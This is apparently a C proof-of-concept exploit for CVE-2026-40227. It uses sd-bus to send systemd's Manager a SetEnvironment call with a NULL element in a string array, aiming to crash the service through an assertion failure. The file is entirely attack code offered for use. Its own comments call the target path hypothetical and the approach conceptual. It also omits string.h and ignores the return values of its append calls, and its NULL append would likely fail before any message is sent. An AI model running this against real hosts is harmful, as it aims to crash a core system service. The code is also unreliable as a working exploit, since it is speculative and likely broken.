#include <stdio.h>
#include <stdlib.h>
#include <systemd/sd-bus.h>
/*
* PoC for CVE-2026-40227
* This code attempts to trigger the assertion failure in systemd
* by sending a variant array containing a NULL element via IPC.
*/
int main(int argc, char *argv[]) {
sd_bus_error error = SD_BUS_ERROR_NULL;
sd_bus_message *m = NULL;
sd_bus *bus = NULL;
int r;
// Connect to the system bus
r = sd_bus_open_system(&bus);
if (r < 0) {
fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r));
goto finish;
}
// Create a method call to a vulnerable interface (Hypothetical path)
r = sd_bus_message_new_method_call(bus, &m,
"org.freedesktop.systemd1", // Service
"/org/freedesktop/systemd1", // Object path
"org.freedesktop.systemd1.Manager", // Interface
"SetEnvironment"); // Method (Example)
if (r < 0) {
fprintf(stderr, "Failed to create method call: %s\n", strerror(-r));
goto finish;
}
// Construct a malicious array containing a NULL element
// Note: Actual implementation details of triggering the specific assert
// depend on the exact vulnerable API endpoint.
r = sd_bus_message_open_container(m, 'a', "s");
if (r < 0) {
fprintf(stderr, "Failed to open container: %s\n", strerror(-r));
goto finish;
}
// Append a valid string first
sd_bus_message_append_basic(m, 's', "VALID_VAR=1");
// Attempt to append a null/invalid element to trigger the assertion
// In a real PoC, this might involve manipulating the serializer directly
// or using a specific API call that accepts arrays.
// This is a conceptual representation.
sd_bus_message_append_basic(m, 's', NULL);
r = sd_bus_message_close_container(m);
if (r < 0) {
fprintf(stderr, "Failed to close container: %s\n", strerror(-r));
goto finish;
}
// Send the message
r = sd_bus_call(bus, m, 0, &error, NULL);
if (r < 0) {
fprintf(stderr, "Call failed (Expected if crashed): %s\n", error.message);
} else {
printf("Call succeeded, target might not be vulnerable or patched.\n");
}
finish:
sd_bus_error_free(&error);
sd_bus_message_unref(m);
sd_bus_unref(bus);
return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
}